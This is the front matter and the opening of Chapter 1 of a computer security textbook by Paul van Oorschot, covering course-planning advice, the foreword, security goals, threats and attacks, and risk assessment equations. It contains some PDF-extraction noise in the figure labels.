Computer Security and Internet
Computer Security and Internet
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
To the knowledge and best efforts of the author at the time of writing, the content herein
is accurate and technically correct. It is distributed on an “As Is” basis, without warranty
of any kind, expressed or implied. Neither the author nor the publisher shall have any
liability, under any circumstances, with respect to any direct or indirect loss or damage
caused by, or alleged to be related to, use of any content in this book.
Table of Contents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ix
Preface to Second Edition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xv
Foreword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xix
Preface to First Edition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxiii
Typesetting Conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxix
Epilogue . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 411
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 417
Computer Security and the Internet: Tools and Jewels (2e)
Table of Contents
Preface to Second Edition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xv
Foreword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xix
Preface to First Edition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxiii
Typesetting Conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxix
ix
Computer Security and the Internet: Tools and Jewels (2e)
x
Computer Security and the Internet: Tools and Jewels (2e)
xi
Computer Security and the Internet: Tools and Jewels (2e)
xii
Computer Security and the Internet: Tools and Jewels (2e)
Epilogue . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 411
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 417
‡This symbol denotes sections that readers or instructors may elect to omit on first read-
ing, or if time-constrained. A few of these are background sections, which students may
read on their own as review. The end notes completing each section suggest both further
elementary readings, and entry points to the research literature.
xiii
Preface to Second Edition
Perfection is finally attained not when there is no longer anything to add, but when there
is no longer anything to take away.
–Antoine de Saint-Exupéry, 1900–1944
xv
Suggestions for including the expanded content into shorter courses
The Second Edition now contains sufficient content for a two-term undergraduate course.
The optional exercises (which are largely written as introductions to further material) and
curated references in chapter end notes may be used as the basis for short projects, or as
extra content for advanced students.
This raises the question of how best to use the book for a course taught over a single
13-week term or quarter—as few instructors are likely to have time to cover all chapters
in one term. Instructors of a one-term course now enjoy a rich set of options from which
to build a course matching their personal tastes; we outline a few of these in what follows.
As noted in the original Preface, the first eleven chapters suit a tightly run single-term
course in computer and network security, with the expectation that some sections marked
as optional (or instructor-selected substitutes) will be omitted. For one-term courses, a
simple option is thus to ignore the new chapters and fall back on our convention of double-
daggers (‡) on section and paragraph headings suggesting material to consider omitting.
However, we expect that most instructors will prefer to teach one or both of the new chap-
ters, as they are of high interest to students, were added based on real-world relevance,
and offer compelling examples of how complete systems implement security in practice.
To this end, Fig. 1 gives two examples of chapter sequences for one-term courses.
Fig. 1(a) suggests a single-term course focused on authentication and uses of cryptog-
raphy in Internet security. This path uses Chapters 2–4 as its basis. Instructors here might
opt to: reduce coverage of Chapters 5-7, but retain §7.7 (to highlight how ransomware ex-
ploits public-key cryptography); emphasize, in Chapter 8 (certificate management), both
the browser trust model and secure email (§8.5–8.7); omit parts of Chapter 9 (web secu-
rity) but retain §9.2 (TLS) and §9.8 (usability of certificates); within Chapter 10 (firewalls
and tunnels), focus on §10.3–10.5 (SSH, VPNs, IPsec); and from Chapter 11 (intrusion
detection and network attacks), focus on §11.5 (current DNS weaknesses call attention
to the need for cryptographic protection) and §11.6 (showing the importance of session
encryption to stop TCP session hijacking). Both new chapters are included in this path.
Fig. 1(b) suggests a single-term course that emphasizes network and systems security
with lighter coverage of cryptography. Here, as the shaded boxes suggest, other courses
may provide cryptographic background (e.g., Chapters 2, 4, 8), and perhaps also the basics
(a) Authen�ca�on and uses of cryptography (b) Network and systems security focus
Ch. 1 Ch. 1
10.3−10.5
Ch. 2 7.7 Ch. 5 Ch. 2 Ch. 10
11.5−11.6
Ch. 8 4.3
Ch. 3 Ch. 6 Ch. 11
Ch. 12
9.2, 9.8 Ch. 8
Ch. 4 Ch. 13 Ch. 7 Ch. 12
xvi
of passwords and user authentication (Chapter 3). Students will likely still benefit from a
review of Chapter 2, §4.3 (Diffie-Hellman key exchange), and Chapter 8 (certificate-based
public-key infrastructure). The core elements of systems security in this path are operat-
ing systems, software security and malicious software (Chapters 5–7); those of network
security are in Chapters 10–12, while web security (Chapter 9) spans systems and network
security. The primary content may again be enriched by using material from exercises and
end notes; topics such as network monitoring and vulnerability scanning tools (§11.3) are
natural candidates among many other examples. Path (b) is recommended for students
with access to a complementary course that focuses on applied cryptography.
Who this book aims to serve
The primary audience is students in a one-term or two-term, third- or fourth-year under-
graduate course in a computer science, engineering or information technology program,
or an introductory graduate course. Graduate students beginning a research program may
use this book as a framework for learning the subject, and are a natural audience for the
optional inline exercises, and literature references in chapter end notes. Instructors and
established researchers may find this to be a useful handbook for organizing knowledge
of computer security, software and web security, authentication, and the security of net-
worked systems. A secondary audience is those open to self-study in order to gain a
general understanding of these areas as background knowledge, including developers and
information technology professionals, or indeed anyone else interested and having a basic
understanding of computers or software (entry-level familiarity with operating systems
and networking concepts will ease this journey, but can be picked up along the way). Fi-
nally, the new Chapter 13 offers a concise, yet broad, systematic introduction to Bitcoin
and Ethereum for individuals specifically interested in these systems, but without the time
to read entire books on these single subjects. Many such entire books themselves assume
background beyond that of interested readers; in contrast, we are able to efficiently ex-
plain how these systems work, by relying on a few key concepts introduced in earlier,
self-contained chapters.
Acknowledgements (Second Edition)
I am grateful to Wayne Wheeler and Ronan Nugent at Springer for ongoing support and
encouragement. Beyond those in the original Preface, I sincerely thank all colleagues who
have kindly provided constructive feedback to improve this book, its overall evolution, and
most recently Chapters 12 (∗) and 13 (?), especially:
Chris Bellman∗? Jeremy Clark? Yusef Karim∗ Udaya Parampalli?
Rainer Böhme? Will Enck∗ M. Mannan∗? Petr Švenda?
Joseph Bonneau? Gus Gutoski? Václav (Vashek) Matyáš∗? Mathy Vanhoef∗
Xavier Carnavalet∗ Syed Rafiul Hussain∗ Alfred Menezes? Amr Youssef?
xvii
About the Author
i
Foreword
There’s an old adage that many people espouse: “Keep It Simple, Stupid”. Unfortunately,
when it comes to the nitty-gritty of securing computer systems, networks, and the Inter-
net: Everything is Complicated. A highly relevant quote comes from Albert Einstein:
“Everything should be made as simple as possible, but no simpler.” It is often making
things too simple that leads to missing requirements, design flaws, implementation errors,
and system failures.
At the end of Chapter 1, Paul Van Oorschot lists two dozen fundamental principles that
should underlie the design and implementation of systems, and particularly systems with
stringent requirements for trustworthiness (e.g., security, reliability, robustness, resilience,
and human safety). These principles all can contribute in many ways to better systems, and
indeed they are highlighted throughout each following chapter as they apply to particular
situations.
One particularly desirable principled approach toward dealing with complexity in-
volves the pervasive use of design abstraction with encapsulation, which requires carefully
defined modular interfaces. If applied properly, this approach can give the appearance of
simplicity, while at the same time actually hiding internal state information and other
functional complexities behind the interface.
Paul’s book identifies ten relatively self-contained structural areas of widespread con-
cern, each of which is probed with detail sufficient to establish relatively accessible ground-
work for the primary concepts. The book makes considerable headway into underlying
realities that otherwise tend to make things difficult to understand, to design, and to im-
plement correctly. It provides collected wisdom on how to overcome complexity in many
critical areas, and forms a sound basis for many of the necessary fundamental components
and concepts. Also, much of what is described here is well chosen, because it has survived
the test of time.
Paul has a remarkably diverse background, which is reflected in the content of this
book. He is one of the special people who has made major contributions to the literature
in multiple areas: computer/network security (including certification-based system archi-
tectures, authentication, alternatives to passwords, Internet infrastructure, protocols, and
misuse detection), applied cryptography (e.g., public-key infrastructure, enhanced authen-
tication), software, and system usability. Much of his work crosses over all four of these
areas, which are mirrored in the topics in this book. Paul has extensive background in
both academia and the software industry. His earlier Handbook of Applied Cryptography
xix
is highly regarded and widely used, and also reflects the cross-disciplinary thinking that
went into writing Tools and Jewels.
The balance of Paul’s academic and practical experiences is demonstrated by the
somewhat unusual organization of this book. It takes a fresh view of each chapter’s con-
tent, and focuses primarily on precisely what he believes should be taught in a first course
on the subject.
To avoid readers expecting something else, I summarize what the book intentionally
does not attempt to do. It does not seek to be a cookbook on how to build or integrate sys-
tems and networks that are significantly more secure than what is common today, partly
because there is no one-size-fits-all knowledge; there are just too many alternative de-
sign and implementation choices. It also does not deal with computer architecture in
the large—beginning with total-system requirements for hardware, software, and appli-
cations. However, it is oriented toward practical application rather than specific research
results; nevertheless, it cites many important items in the literature. Understanding every-
thing in this book is an essential precursor to achieving meaningfully trustworthy systems.
Altogether, Paul’s realistic approach and structural organization in this book are likely
to provide a very useful early step—particularly for students and emerging practitioners
(e.g., toward being a knowledgeable system designer/developer/administrator), but also
for computer users interested in a better understanding of what attaining security might en-
tail. The book may also become an excellent starting point for anyone who subsequently
wishes to understand the next stages of dealing with complexity, including layered and
compositional architectures for achieving total-system trustworthiness in hardware, soft-
ware, networks, and applications—as well as coping with the pitfalls inherent in system
development, or in more wisely using the Internet.
Designing, developing, and using systems with serious requirements for trustworthi-
ness has inherent complexities. Multics is a historical example of a clean-slate system—
with new hardware, a new operating system, and a compiler that facilitated taking advan-
tage of the new hardware features—that is worth studying as a major step forward into
secure multi-access computing. Paul begins to invoke some of its architecture (e.g., in
Chapter 5). But the real lessons from Multics may be its highly principled design and de-
velopment process, which carefully exposed new problems and then resolved them with
a long view of the future (e.g., completely avoiding stack buffer overflows and the Y2K
problem in 1965!). Paul noted to me that if we don’t teach anything about strong features
of our old systems, how can we make progress?
Chapter 6 provides an example of the book’s pragmatic focus, discussing software
security and related vulnerabilities—headlined still, sadly, by buffer overruns (mentioned
above). It provides background on a selection of well-known exploits currently in use, ex-
posing the importance of software security. A main focus there, and throughout the book,
is on helping readers understand what goes wrong, and how. This puts them in a position
to appreciate the need for solutions, and motivates pursuit of further details in additional
sources, e.g., using references in the chapter End Notes and occasional inline Exercises
(and perhaps follow-up courses). This style allows instructors and readers to pick and
choose elements to drill deeper, according to personal interests and time constraints.
xx
Such an approach, and the book’s pervasive focus on principles, match my own in-
terests quite well, e.g., including my ongoing involvement in developing the CHERI
clean-slate capability-based hardware-software system, a highly principled effort taking
advantage of the past history of computer systems. Among other foci, the CHERI hard-
ware, software, and extended hardware-aware LLVM (low-level virtual machine) com-
piler specifically help remediate most of the software security issues that are the main
focus of Chapter 6—including spatial and temporal memory safety issues, and protection
against buffer overflows in C. Paul cites a CHERI reference in his far-reaching epilogue.
(CHERI is a joint effort of SRI and the University of Cambridge.)
Each of the other chapters that I have not mentioned specifically here is a valuable
contribution by itself. All in all, I believe Paul’s timely book will be extremely useful to a
wide audience.
Peter G. Neumann
Chief Scientist, SRI International Computer Science Lab,
and moderator of the ACM Risks Forum
July 2019
xxi
Preface to First Edition
Do not write so that you can be understood, write so that you cannot be misunderstood.
–Epictetus, 55-135 AD
Why this book, approach and target audience
This book provides a concise yet comprehensive overview of computer and Internet secu-
rity, suitable for a one-term introductory course for junior/senior undergrad or first-year
graduate students. It is also suitable for self-study by anyone seeking a solid footing
in security—including software developers and computing professionals, technical man-
agers and government staff. An overriding focus is on brevity, without sacrificing breadth
of core topics or technical detail within them. The aim is to enable a broad understand-
ing in roughly 300 pages. Further prioritization is supported by designating as optional
selected content within this. Fundamental academic concepts are reinforced by specifics
and examples, and related to applied problems and real-world incidents.
The first chapter provides a gentle overview and 20 design principles for security.
The ten chapters that follow aim to provide a framework for understanding computer and
Internet security. They regularly refer back to the principles, with supporting examples.
These principles are the conceptual counterparts of security-related error patterns that
have been recurring in software and system designs for over 50 years.
The book is “elementary” in that it assumes no background in security, but unlike
“soft” high-level texts, does not avoid low-level details; instead it selectively dives into
fine points for exemplary topics, to concretely illustrate concepts and principles. The
book is rigorous in the sense of being technically sound, but avoids both mathematical
proofs and lengthy source-code examples that typically make books inaccessible to gen-
eral audiences. Knowledge of elementary operating system and networking concepts is
helpful, but review sections summarize the essential background. For graduate students,
inline exercises and supplemental references provided in per-chapter end notes provide a
bridge to further topics and a springboard to the research literature; for those in industry
and government, pointers are provided to helpful surveys and relevant standards, e.g., doc-
uments from the Internet Engineering Task Force (IETF), and the U.S. National Institute
of Standards and Technology.
Selection of topics
For a one-term course in computer and network security, what topics should you cover, in
what order—and should breadth or technical depth be favored? We provide a roadmap.
xxiii
A common complaint is the lack of a concise introductory book that provides a broad
overview without being superficial. While no one book will meet the needs of all readers,
existing books fall short in several ways. Detailed treatments on the latest advances in
specialty areas will not be introductory-level. Books that dwell on recent trends rapidly
become dated. Others are too long to be useful introductions—instructors who are not
subject-area experts, and readers new to the subject, require guidance on what core mate-
rial to cover, and what to leave for follow-up or special-topic courses. Some books fail at
the presentation level (lacking the technical elements required for engineering and com-
puter science students to develop an understanding), while others that provide detailed
code-level examples often lack context and background.
Our aim is to address these deficiencies in a balanced way. Our choices of what to in-
clude and exclude, and when to provide low-level details vs. high-level overviews, are in-
formed by guidance from peers, personal experience in industrial and academic research,
and from teaching computer security and cryptography for 30 years. The presentation
style—which some readers may find atypical—reflects the way in which I organize my
own thoughts—metaphorically, putting things into boxes with labels. Thus the material
is delivered in “modular” paragraphs, most given short titles indicating their main focus.
Those familiar with the Handbook of Applied Cryptography (1996) will notice similari-
ties. The topics selected also reflect a personal preference of the core content that I would
expect of software developers starting out in industry, or junior security researchers. The
material herein also corresponds to what I wish had been available in a book to learn from
when I myself began in computer and network security many years ago. The soundness
of these choices will be revealed in the course of time.
Framework and systematization
My hope is that this book may serve as a framework from which others may build their
own tailored courses. Instructors who prefer to teach from their own notes and slide
decks may find it helpful to point students to this text as a coherent baseline reference,
augmenting its material with their own specialized content. Indeed, individual instructors
with special expertise often wish to teach certain topics in greater detail or add extra topics
and examples, while other experts will have analogous desires—but expanding different
topics. While a single book clearly cannot capture all such material, the present book may
serve as a common foundation and framework for such courses—providing instructors a
unified overview and basis for further study in security, rather than leave students without
a designated textbook.
Why use a book at all, if essentially all of the information can be found online,
in pieces? Piecemeal sources leave students with inconsistent terminology, material of
widely varying clarity and correctness, and a lack of supporting background (or redun-
dancy thereof) due to sources targeting readers with different backgrounds. This makes
learning inefficient for students. In contrast, services provided by a solid introductory
text include: context with well-organized background, consistent terminology, content
selection and prioritization, appropriate level of detail, and clarity.
A goal consistent with providing a framework is to help systematize knowledge by
xxiv
carefully chosen and arranged content. Unlike “tidy” subareas such as cryptography, com-
puter and Internet security as a broad discipline is not particularly orderly, and is less well
structured—it often more closely resembles an ad hoc collection of vaguely related items
and lessons. We collect these over time, and try to organize them into what we call knowl-
edge. Books like this aim to arrive at a more unified understanding of a broad area, and
how its subareas are related. Organization of material may help us recognize common
techniques, methods and defensive approaches, as well as recurring attack approaches
(e.g., middle-person attacks, social engineering). Note that where security lacks absolute
rules (such as laws of physics), we fall back on principles. This acknowledges that we do
not always have precise, well-defined solutions that can be universally applied.
Length, prioritization and optional sections
A major idea underlying a shorter book, consciously limited in total page count, is to
avoid overwhelming novices. Many introductory security textbooks span 600 to 1000
pages or more. These have different objectives, and are typically a poor fit for a one-term
course. While offering a wealth of possible topics to choose from, they are more useful
as handbooks or encyclopaedias than introductory texts. They leave readers at a loss as to
what to skip over without losing continuity, and the delivery of core topics is often split
across several chapters.
In contrast, our approach is to organize discussion of major topics in single locations—
thereby also avoiding repetition—and to make informed (hard) choices about which top-
ics to cover. We believe that careful organization and informed selection of core material
allows us to maintain equal breadth at half the length of comparable books. To accom-
modate the fact that some instructors will not be able to cover even our page-reduced
content, our material is further prioritized by marking (with a double-dagger prefix, “‡”)
the headings of sections that can be omitted without loss of continuity. Within undag-
gered sections, this same symbol denotes paragraphs and exercises that we suggest may
be omitted on first reading or by time-constrained readers.
Counterintuitively, a longer book is easier to write in that it requires fewer choices by
the author on what to omit. We recall the apology of Blaise Pascal (1623–1662) for the
length of a letter, indicating that he did not have time to write a shorter one. (“Je n’ai fait
celle-ci plus longue que parce que je n’ai pas eu le loisir de la faire plus courte.”)
Order of chapters, and relationships between them
The order of chapters was finalized after trying several alternatives. While each individual
chapter has been written to be largely independent of others (including its own set of
references), subsequences of chapters that work well are: (5, 6, 7), (8, 9) and (10, 11).
The introduction (Chapter 1) is followed by cryptography (Chapter 2). User authentication
(Chapter 3) then provides an easy entry point via widely familiar passwords. Chapter 4
is the most challenging for students afraid of math and cryptography; if this chapter is
omitted on first pass, Diffie-Hellman key agreement is useful to pick up for later chapters.
Our prioritization of topics is partially reflected by the order of chapters, and sections
within them. For example, Chapter 11 includes intrusion detection, and network-based
attacks such as session hijacking. Both of these, while important, might be left out by
xxv
time-constrained instructors who may instead give priority to, e.g., web security (Chapter
9). These same instructors might choose to include, from Chapter 11, if not denial of
service (DoS) in general, perhaps distributed DoS (DDoS) and pharming. This explains
in part why we located this material in a later chapter; another reason is that it builds on
many earlier concepts, as does Chapter 10. More fundamental concepts appear in earlier
chapters, e.g., user authentication (Chapter 3), operating system security (Chapter 5), and
malware (Chapter 7). Readers interested in end-user aspects may find the discussion of
email and HTTPS applications in Chapter 8 appealing, as well as discussion of usable
security and the web (Section 9.8); Information Technology staff may find, e.g., the details
of IPsec (Chapter 10) more appealing. Software developers may be especially interested
in Chapters 4 (using passwords as authentication keys), 6 (software security including
buffer overruns and integer vulnerabilities), and 8 (public-key infrastructure).
Cryptography vs. security course
Our book is intended as a text for a course in computer security, rather than for one split
between cryptography and computer security. Chapter 2 provides cryptographic back-
ground and details as needed for an introduction to security, assuming that readers do
not have prior familiarity with cryptography. Some readers may choose to initially skip
Chapter 2, referring back to parts of it selectively as needed, in a “just-in-time” strategy. A
few cryptographic concepts are deferred to later chapters to allow in-context introduction
(e.g., Lamport hash chains are co-located with one-time passwords in Chapter 3; Diffie-
Hellman key agreement is co-located with middle-person attacks and key management in
Chapter 4, along with small-subgroup attacks). Chapter 4 gives additional background on
crypto protocols, and Chapter 8 also covers trusts models and public-key certificates. The
goal of this crypto background is to make the book self-contained, including important
concepts for developers who may, e.g., need to use crypto toolkits or make use of crypto-
based mechanisms in web page design. In our own institution, we use this book for an
undergrad course in computer and network security, while applied cryptography is taught
in a separate undergrad course (using a different book).
Helpful background
Security is a tricky subject area to learn and to teach, as the necessary background spans
a wide variety of areas from operating systems, networks, web architecture and program-
ming languages to cryptography, human factors, and hardware architecture. The present
book addresses this by providing mini-reviews of essential background where needed,
supplemented by occasional extra sections often placed towards the end of the relevant
chapter (so as not to disrupt continuity). As suggested earlier, it is helpful if readers have
background comparable to a student midway through a computer science or computer
engineering program, ideally with exposure to basic programming and standard topics in
operating systems and network protocols (data communications). For example, readers
will benefit from prior exposure to Unix (Chapter 5), memory layout for a run-time stack
and the C programming language (Chapter 6), web technologies such as HTML, HTTP
and JavaScript (Chapter 9), and basic familiarity with TCP/IP protocols (for Chapters 10
and 11). A summary of relevant prerequisite material is nonetheless given herein.
xxvi
Trendy topics vs. foundational concepts
For a course that intends to convey the latest information on fast-moving areas, a web
site is better suited than content delivery by a textbook. We have designed this book to
avoid quickly becoming obsolete, by providing a solid foundation with focus on long-
standing concepts, principles, and recurring error patterns. Perhaps surprisingly, a great
many security-related errors are invariant over time, independent of evolving platforms.
For this same reason, we find it instructive to teach about old flaws that are now fixed
(temporarily, in specific products and protocols), as lessons to help us avoid repeating
these errors on each new platform. (Mistakes are inevitably repeated, but this way we at
least have names for them and can look up the best repair ideas from earlier.)
When teaching, we also rely on a complementary set of hands-on assignments and
software tools; these may change as operating systems and technologies evolve. Many
excellent, independent online resources are available for programming and tool-based
security assignments; we do not attempt to tie hands-on assignments directly to this book
itself. The “Exercises” interspersed throughout our chapters herein are not programming-
based, but rather are simple review-type thought experiments or more frequently, pointers
into the literature for additional material suggested as interesting next-step topics (albeit
non-essential to a basic introduction). Along with references provided in the chapter end
notes, these are suitable for strong undergrads or more commonly, beginning graduate
students who seek exposure one level deeper or broader.
Acknowledgements
This book has benefited immensely from the thoughtful feedback of many colleagues and
students. Among many others too numerous to mention, I wish to thank in particular:
AbdelRahman Abdou Aleks Essex M. Mannan Reza Samanfar
Nicholas Akinyokun Hemant Gupta Ashraf Matrawy R. Sekar
Furkan Alaca Urs Hengartner Václav (Vashek) Matyáš Anil Somayaji
David Barrera Cormac Herley Lee McCallum Elizabeth Stobert
Chris Bellman Jason Hinek Fabian Monrose Tao Wan
Sonia Chiasson James Huang Peter G. Neumann Dave L. Whyte
Peter Choynowski Trent Jaeger Bryan Parno Glenn Wurster
Wayne Du Poe Kgengwenyane Joel Reardon Tatu Ylönen
Will Enck Hassan Khan Vladimir Robotka Lianying (Viau) Zhao
I would also like to thank Ronan Nugent at Springer for his utmost professionalism, and
for making the publication process a true pleasure. Errors that remain are of course my
own. I would appreciate any feedback (with details to allow corrections), and welcome
all suggestions for improvement.
xxvii
Typesetting Conventions
Conventions used in this book for text fonts, coloring, and styles include the following.
Examples
paragraph labels I NLINE HOOKING .
headings for examples Example (WannaCrypt 2017).
headings for exercises Exercise (Free-lunch attack tree).
emphasis (often regular words or phrases) This computer is secure
technical terms passcode generators
security principle (label for easy cross-reference) LEAST- PRIVILEGE (P6)
software systems, tools or programs Linux, Firefox
security incidents or malware name Morris worm, Code Red II
filesystem pathnames and filenames /usr/bin/passwd, chmod.exe
system calls and standard library functions exec(), execve(), malloc
command-line utilities (as user commands) passwd
OS data structures, flag bits, account names inode, setuid, root
computer input, output, code or URL ls -al, http://domain.com
xxix
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 1
Security Concepts and Principles
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
Our subject area is computer and Internet security—the security of software, comput-
ers and computer networks, and of information transmitted over them and files stored on
them. Here the term computer includes programmable computing/communications de-
vices such as a personal computer or mobile device (e.g., laptop, tablet, smartphone), and
machines they communicate with including servers and network devices. Servers include
front-end servers that host web sites, back-end servers that contain databases, and inter-
mediary nodes for storing or forwarding information such as email, text messages, voice,
and video content. Network devices include firewalls, routers and switches. Our interests
include the software on such machines, the communications links between them, how
people interact with them, and how they can be misused by various agents.
We first consider the primary objectives or fundamental goals of computer security.
Many of these can be viewed as security services provided to users and other system com-
ponents. Later in this chapter we consider a longer list of design principles for security,
useful in building systems that deliver such services.
2
1.1. Fundamental goals of computer security 3
Approved
availability
access control 24 / 7
authen:ca:on
policy
✔ accountability
data origin en:ty
authen:ca:on authen:ca:on
digital evidence
msg data secret iden:ty (asserted)
or verifiable uniqueness property
Figure 1.1: Six high-level computer security goals (properties delivered as a service).
Icons denote end-goals. Important supporting mechanisms are shown in rectangles.
users allowed to access specific assets, and the allowed means of access;1 security services
to be provided; and system controls that must be in place. Ideally, a system enforces the
rules implied by its policy. Depending on viewpoint and methodology, the policy either
dictates, or is derived from, the system’s security requirements (defensive goals).
T HEORY, PRACTICE . In theory, a formal security policy precisely defines each pos-
sible system state as either authorized (secure) or unauthorized (non-secure). Non-secure
states may bring harm to assets. The system should start in a secure state. System ac-
tions (e.g., related to input/output, data transfer, or accessing ports) cause state transi-
tions. A security policy is violated if the system moves into an unauthorized state. In
practice, security policies are often informal documents including guidelines and expec-
tations related to known security issues. Formulating precise policies is more difficult and
time-consuming. Their value is typically under-appreciated until security incidents occur.
Nonetheless, security is defined relative to a policy, ideally in written form.
ATTACKS , AGENTS . An attack is the deliberate execution of one of more steps in-
tended to cause a security violation, such as unauthorized control of a client device. At-
tacks exploit specific system characteristics called vulnerabilities, including design flaws,
implementation flaws, and deployment or configuration issues (e.g., lack of physical iso-
lation, ongoing use of known default passwords, debugging interfaces left enabled). The
source or threat agent behind a potential attack is called an adversary, and often called an
attacker once a threat is activated into an actual attack. Figure 1.2 illustrates these terms.
a) b)
ac5vated
threat agent a8acker
secure non-secure
state state
a8ack vector
ac5on not ac5on
viola5ng policy viola5ng policy target
vulnerability asset
Figure 1.2: Security policy violations and attacks. a) A policy violation results in a non-
secure state. b) A threat agent becomes active by launching an attack, aiming to exploit a
vulnerability through a particular attack vector.
T HREAT. A threat is any combination of circumstances and entities that might harm
assets, or cause security violations. A credible threat has both capable means and inten-
Ch.1. Security policy viola5ons and a8acks.
tions. The mere existence of a threat agent and a vulnerability that they have the capability
a) A policy viola5on results in an insecure state.
to exploit on a target system does not necessarily imply that an attack will be instanti-
ated in b) A threat agent that becomes ac5ve launches an a8ack, which a8empts to exploit a
a given time period; the agent may fail to take action, e.g., due to indifference
vulnerability through a par5cular a8ack vector.
or insufficient incentive. Computer security aims to protect assets by mitigating threats,
% An adversary (threat agent) is an opponent who may not yet have a8acked.
largely by identifying and eliminating vulnerabilities, thereby disabling viable attack vec-
tors—specific methods, or sequences of steps, by which attacks are carried out. Attacks
typically have specific objectives, such as: extraction of strategic or personal information;
1 Forexample, corporate policy may allow authorized employees remote access to regular user accounts
via SSH (Chapter 10), but not remote access to a superuser or root account. A password policy (Chapter 3)
may require that passwords have at least 10 characters including two non-alphabetic characters.
6 Chapter 1. Security Concepts and Principles
R = T ·V ·C (1.1)
T reflects threat information (essentially, the probability that particular threats are instan-
tiated by attackers in a given period). V reflects the existence of vulnerabilities. C re-
flects asset value, and the cost or impact of a successful attack. Equation (1.1) highlights
the main elements in risk modeling and obvious relationships—e.g., risk increases with
threats (and with the likelihood of attacks being launched); risk requires the presence of a
vulnerability; and risk increases with the value of target assets. See Figure 1.3.
1.3. Risk, risk assessment, and modeling expected losses 7
probability of
ac.vated threat T successful a>ack risk R = TVC
P
vulnerability V C
cost (tangible + intangible) if a>ack successful
Figure 1.3: Risk equation. Intangible costs may include corporate reputation.
Equation (1.1) may be rewritten to combine T and V into a variable P denoting the
probability that a threat agent takes an action that successfully exploits a vulnerability:
R = P ·C (1.2)
Here the sum is over all security events modeled by index i, which may differ for different
types of assets. Fi is the estimated annualized frequency of events of type i (taking into
account a combination of threats, and vulnerabilities that enable threats to translate into
successful attacks). Ci is the average loss expected per occurrence of an event of type i.
R ISK ASSESSMENT QUESTIONS . Equations 1.1–1.3 bring focus to some questions
that are fundamental not only in risk assessment, but in computer security in general:
8 Chapter 1. Security Concepts and Principles
1. What assets are most valuable, and what are their values?
2. What system vulnerabilities exist?
3. What are the relevant threat agents and attack vectors?
4. What are the associated estimates of attack probabilities, or frequencies?
C OST- BENEFIT ANALYSIS . The cost of deploying security mechanisms should be
accounted for. If the total cost of a new defense exceeds the anticipated benefits (e.g.,
lower expected losses), then the defense is unjustifiable from a cost-benefit analysis view-
point. ALE estimates can inform decisions related to the cost-effectiveness of a defensive
countermeasure—by comparing losses expected in its absence, to its own annualized cost.
Example (Cost-benefit of password expiration policies). If forcing users to change
their passwords every 90 days reduces monthly company losses (from unauthorized ac-
count access) by $1000, but increases monthly help-desk costs by $2500 (from users being
locked out of their accounts as a result of forgetting their new passwords), then the cost
exceeds the benefit before even accounting for usability costs such as end-user time.
R ISK ASSESSMENT CHALLENGES . Quantitative risk assessment may be suited to
incidents that occur regularly, but not in general. Rich historical data and stable statistics
are needed for useful failure probability estimates—and these exist over large samples,
e.g., for human life expectancies and time-to-failure for incandescent light bulbs. But for
computer security incidents, relevant such data on which to base probabilities and asset
losses is both lacking and unstable, due to the infrequent nature of high-impact security
incidents, and the uniqueness of environmental conditions arising from variations in host
and network configurations, and in threat environments. Other barriers include:
• incomplete knowledge of vulnerabilities, worsened by rapid technology evolution;
• the difficulty of quantifying the value of intangible assets (strategic information, cor-
porate reputation); and
• incomplete knowledge of threat agents and their adversary classes (Sect. 1.4). Ac-
tions of unknown intelligent human attackers cannot be accurately predicted; their
existence, motivation and capabilities evolve, especially for targeted attacks.
Indeed for unlikely events, ALE analysis (see above) is a guessing exercise with little ev-
idence supporting its use in practice. Yet, risk assessment exercises still offer benefits—
e.g., to improve an understanding of organizational assets and encourage assigning values
to them, to increase awareness of threats, and to motivate contingency and recovery plan-
ning prior to losses. The approach discussed next aims to retain the benefits while avoiding
inaccurate numerical estimates.
Q UALITATIVE RISK ASSESSMENT. As numerical values for threat probabilities (and
impact) lack credibility, most practical risk assessments are based on qualitative ratings
and comparative reasoning. For each asset or asset class, the relevant threats are listed;
then for each such asset-threat pair, a categorical rating such as (low, medium, high) or
perhaps ranging from very low to very high, is assigned to the probability of that threat
action being launched-and-successful, and also to the impact assuming success. The com-
bination of probability and impact rating dictates a risk rating from a combination matrix
1.4. Adversary modeling and security analysis 9
such as Table 1.1. In summary, each asset is identified with a set of relevant threats, and
comparing the risk ratings of these threats allows a ranking indicating which threat(s) pose
the greatest risk to that asset. Doing likewise across all assets allows a ranked list of risks
to an organization. In turn, this suggests which assets (e.g., software applications, files,
databases, client machines, servers and network devices) should receive attention ahead
of others, given a limited computer security budget.
R ISK MANAGEMENT VS . MITIGATION . Not all threats can (or necessarily should)
be eliminated by technical means alone. Risk management combines the technical activity
of estimating risk or simply identifying threats of major concern, and the business activity
of “managing” the risk, i.e., making an informed response. Options include (a) mitigat-
ing risk by technical or procedural countermeasures; (b) transferring risk to third parties,
through insurance; (c) accepting risk in the hope that doing so is less costly than (a) or
(b); and (d) eliminating risk by decommissioning the system.
